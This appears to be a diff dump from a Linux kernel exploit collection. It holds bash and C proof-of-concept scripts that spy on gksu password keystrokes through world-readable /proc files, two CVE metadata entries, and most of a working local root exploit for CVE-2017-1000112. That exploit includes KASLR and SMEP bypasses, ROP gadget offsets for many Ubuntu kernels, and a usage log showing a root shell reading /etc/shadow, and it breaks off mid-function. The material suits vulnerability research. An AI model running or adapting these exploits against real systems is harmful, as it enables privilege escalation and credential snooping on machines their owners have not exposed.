|||
#!/bin/bash
|
||||
#
|
||||
# A PoC for spying for keystrokes in gksu in Linux <= 3.1.
|
||||
#
|
||||
# /proc/$PID/{sched,schedstat} are world readable, so we can just loop
|
||||
# on one CPU core while the victim is executed on another, and spy for
|
||||
# the changes of scheduling counters. The PoC counts only keystrokes number,
|
||||
# but it can be easily extended to note the delays between the keystrokes
|
||||
# and do the statistical analysis to learn the input characters. See
|
||||
# e.g. "Peeping Tom in the Neighborhood: Keystroke Eavesdropping on
|
||||
# Multi-User Systems" by Kehuan Zhang and XiaoFeng Wang.
|
||||
#
|
||||
# It is NOT stable, it only shows a design flaw (the lack of proper
|
||||
# permission model of procfs debugging counters). The constants are true
|
||||
# for the author's system only and don't take into account other sources of
|
||||
# gksu CPU activity.
|
||||
#
|
||||
# by segoon from openwall
|
||||
#
|
||||
# run as: spy-sched gksu
|
||||
|
||||
PNAME="$1"
|
||||
|
||||
while :; do
|
||||
PID=`pgrep "$PNAME"`
|
||||
if [ -n "$PID" ]; then
|
||||
echo $PID
|
||||
cd /proc/$PID/
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
S=0.0
|
||||
while :; do
|
||||
V=`grep se.exec_start sched 2>/dev/null | cut -d: -f2-`
|
||||
[ -z "$V" ] && break
|
||||
if [ "$V" != "$S" ]; then
|
||||
VAL=`echo "$V - $S" | bc -l`
|
||||
VALI=`echo $VAL | cut -d. -f1`
|
||||
[ -z "$VALI" ] && VALI=0
|
||||
|
||||
if [ "$VALI" -le 815 -a "$VALI" -ge 785 ]; then
|
||||
# Cursor appeared
|
||||
:
|
||||
elif [ $VALI -le 415 -a $VALI -ge 385 ]; then
|
||||
# Cursor disappeared
|
||||
:
|
||||
elif [ $VALI -ge 150 ]; then
|
||||
echo "$VAL (KEY PRESSED)"
|
||||
else
|
||||
echo "$VAL"
|
||||
fi
|
||||
|
||||
S=$V
|
||||
fi
|
||||
done
|
|
@ -0,0 +1,14 @@
|
|||
A PoC for spying for keystrokes in gksu in Linux <= 3.1.
|
||||
|
||||
/proc/$PID/{sched,schedstat} are world readable, so we can just loop
|
||||
on one CPU core while the victim is executed on another, and spy for
|
||||
the changes of scheduling counters. The PoC counts only keystrokes number,
|
||||
but it can be easily extended to note the delays between the keystrokes
|
||||
and do the statistical analysis to learn the input characters. See
|
||||
e.g. "Peeping Tom in the Neighborhood: Keystroke Eavesdropping on
|
||||
Multi-User Systems" by Kehuan Zhang and XiaoFeng Wang.
|
||||
|
||||
It is NOT stable, it only shows a design flaw (the lack of proper
|
||||
permission model of procfs debugging counters). The constants are true
|
||||
for the author's system only and don't take into account other sources of
|
||||
gksu CPU activity.
|
|
@ -0,0 +1,178 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
int i8042_number;
|
||||
int ints[1024], ints_prev[1024], ints_delta[1024];
|
||||
|
||||
char buffer[1024];
|
||||
|
||||
int reread_ints(int *interrupts, int int_count, char **names)
|
||||
{
|
||||
int i;
|
||||
int n, c1, c2;
|
||||
char s1[1024], s2[1024];
|
||||
|
||||
int interrupts_fd;
|
||||
FILE *interrupts_file;
|
||||
|
||||
interrupts_fd = open("/proc/interrupts", O_RDONLY);
|
||||
if (interrupts_fd == -1)
|
||||
err(1, "open(\"/proc/interrupts\")");
|
||||
|
||||
interrupts_file = fdopen(interrupts_fd, "r");
|
||||
if (interrupts_file == NULL)
|
||||
err(1, "fdopen");
|
||||
|
||||
if (fseek(interrupts_file, 0, SEEK_SET) < 0)
|
||||
err(1, "lseek");
|
||||
|
||||
fgets(buffer, sizeof(buffer), interrupts_file);
|
||||
|
||||
for (i = 0; i < int_count; i++) {
|
||||
if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
|
||||
fclose(interrupts_file);
|
||||
return i;
|
||||
}
|
||||
|
||||
if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
|
||||
fclose(interrupts_file);
|
||||
return i;
|
||||
}
|
||||
|
||||
if (names != NULL && names[i] == NULL)
|
||||
names[i] = strdup(s2);
|
||||
|
||||
interrupts[i] = c1 + c2;
|
||||
}
|
||||
|
||||
fclose(interrupts_file);
|
||||
return int_count;
|
||||
}
|
||||
|
||||
void init_i8042_number(void)
|
||||
{
|
||||
int i;
|
||||
int can_be_keyboard[1024];
|
||||
char *names[1024];
|
||||
int number_of_interrups, can_be_keyboard_numbers;
|
||||
|
||||
number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);
|
||||
|
||||
/*
|
||||
* Identify the i8042 interrupt associated with the keyboard by:
|
||||
* 1) name should be i8042
|
||||
* 2) interrupts count emitted in one second shouldn't be more than 100
|
||||
*/
|
||||
for (i = 0; i < number_of_interrups; i++)
|
||||
can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;
|
||||
|
||||
while (1) {
|
||||
sleep(1);
|
||||
reread_ints(ints, sizeof(ints), NULL);
|
||||
|
||||
can_be_keyboard_numbers = 0;
|
||||
for (i = 0; i < number_of_interrups; i++) {
|
||||
can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
|
||||
if (can_be_keyboard[i])
|
||||
can_be_keyboard_numbers++;
|
||||
|
||||
ints_prev[i] = ints[i];
|
||||
}
|
||||
|
||||
if (can_be_keyboard_numbers == 1) {
|
||||
for (i = 0; i < number_of_interrups; i++)
|
||||
if (can_be_keyboard[i]) {
|
||||
i8042_number = i;
|
||||
printf("i8042 keyboard is #%d\n", i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int i8042_read(void)
|
||||
{
|
||||
reread_ints(ints, sizeof(ints), NULL);
|
||||
ints_prev[i8042_number] = ints[i8042_number];
|
||||
|
||||
return ints[i8042_number];
|
||||
}
|
||||
|
||||
int wait_for_program(char *pname)
|
||||
{
|
||||
FILE *f;
|
||||
int pid;
|
||||
char s[1024];
|
||||
|
||||
snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
|
||||
" sleep 0.1; done", pname);
|
||||
system(s);
|
||||
snprintf(s, sizeof(s), "pgrep %s", pname);
|
||||
f = popen(s, "r");
|
||||
if (f == NULL)
|
||||
err(1, "popen");
|
||||
|
||||
if (fgets(buffer, sizeof(buffer), f) == NULL)
|
||||
err(1, "fgets");
|
||||
|
||||
if (sscanf(buffer, "%d", &pid) < 1)
|
||||
err(1, "sscanf");
|
||||
|
||||
pclose(f);
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int n, old, sum, i;
|
||||
int pid;
|
||||
char *pname = argv[1];
|
||||
|
||||
if (argc < 2)
|
||||
errx(1, "usage: spy-interrupts gksu");
|
||||
|
||||
puts("Waiting for mouse activity...");
|
||||
init_i8042_number();
|
||||
|
||||
pid = wait_for_program(pname);
|
||||
printf("%s is %d\n", pname, pid);
|
||||
|
||||
old = i8042_read();
|
||||
|
||||
sum = 0;
|
||||
|
||||
while (1) {
|
||||
n = i8042_read();
|
||||
if (old == n)
|
||||
usleep(10000);
|
||||
else {
|
||||
for (i = 0; i < n-old; i++)
|
||||
putchar('.');
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
sum += n - old;
|
||||
old = n;
|
||||
|
||||
if (kill(pid, 0) < 0 && errno == ESRCH)
|
||||
break;
|
||||
}
|
||||
|
||||
/*
|
||||
* #interrupts == 2 * #keystrokes.
|
||||
* #keystrokes = len(password) - 1 because of ENTER after the password.
|
||||
*/
|
||||
printf("\n%d keystrokes\n", (sum-2)/2);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
A PoC for spying for keystrokes in gksu via /proc/interrupts in Linux <= 3.1.
|
||||
In the Linux kernel through 3.1 there is an information disclosure issue via /proc/stat.
|
||||
|
||||
The file /proc/interrupts is world readable. It contains information about how many interrupts were emitted since the system boot. We may loop on one CPU core while the victim is executed on another, and learn the length of victim's passord via monitoring emitted interrupts' counters of the keyboard interrupt. The PoC counts only keystrokes number, but it can be easily extended to note the delays between the keystrokes and do the statistical analysis to learn the precise input characters.
|
||||
|
||||
The limitations:
|
||||
- it works on 2-core CPUs only.
|
||||
- it works on 1-keyboard systems only.
|
||||
- it doesn't carefully count the first and last keystrokes (e.g. ENTER after the password input).
|
||||
- it doesn't carefully filter keystrokes after ENTER.
|
||||
|
||||
run as: gcc -Wall spy-interrupts.c -o spy-interrupts && ./spy-interrupts gksu
|
||||
|
||||
P.S. The harm of 0444 /proc/interrupts is known for a long time, but I was told about this specific attack vector by Tavis Ormandy just after similar PoC spy-sched was published.
|
|
@ -0,0 +1,18 @@
|
|||
id: CVE-2011-4916
|
||||
source: https://www.openwall.com/lists/oss-security/2011/11/05/3
|
||||
info:
|
||||
name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
|
||||
severity: medium
|
||||
description: Linux内核3.1版允许本地用户通过访问/dev/pts/和/dev/tty*来获取敏感的击键信息。
|
||||
scope-of-influence:
|
||||
Linux kernel <= 3.1
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2011-4916
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 5.5
|
||||
cve-id: CVE-2011-4916
|
||||
cwe-id: CWE-200
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: information disclosure
|
|
@ -0,0 +1,18 @@
|
|||
id: CVE-2011-4917
|
||||
source: https://www.openwall.com/lists/oss-security/2011/11/07/9
|
||||
info:
|
||||
name: Linux内核是一个自由和开源的、单片的、模块化的、多任务的、类似Unix的操作系统内核。它最初是由Linus Torvalds在1991年为他的基于i386的PC编写的,它很快就被采纳为GNU操作系统的内核,GNU被写成一个自由(liber)的Unix替代品。
|
||||
severity: medium
|
||||
description: 在3.1版本的Linux内核中,存在一个通过/proc/stat的信息泄露问题。
|
||||
scope-of-influence:
|
||||
Linux kernel <= 3.1
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/cve-2011-4917
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
||||
cvss-score: 5.5
|
||||
cve-id: CVE-2011-4917
|
||||
cwe-id: CWE-200
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: information disclosure
|
|
@ -0,0 +1,5 @@
|
|||
CVE-2017-1000112
|
||||
================
|
||||
|
||||
This is a proof-of-concept Local Privelege Escalation exploit for [CVE-2017-1000112](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000112) — a memory corruption vulnerability I found in the UDP Fragmentation Offload feature of the Linux kernel IP sockets.
|
||||
See the details in [CVE-2017-1000112: Exploiting an out-of-bounds bug in the Linux kernel UFO packets](https://xairy.io/articles/2017/cve-2017-1000112).
|
|
@ -0,0 +1,668 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking distro and kernel versions
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, versions looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
perror("[-] mmap()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
void mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
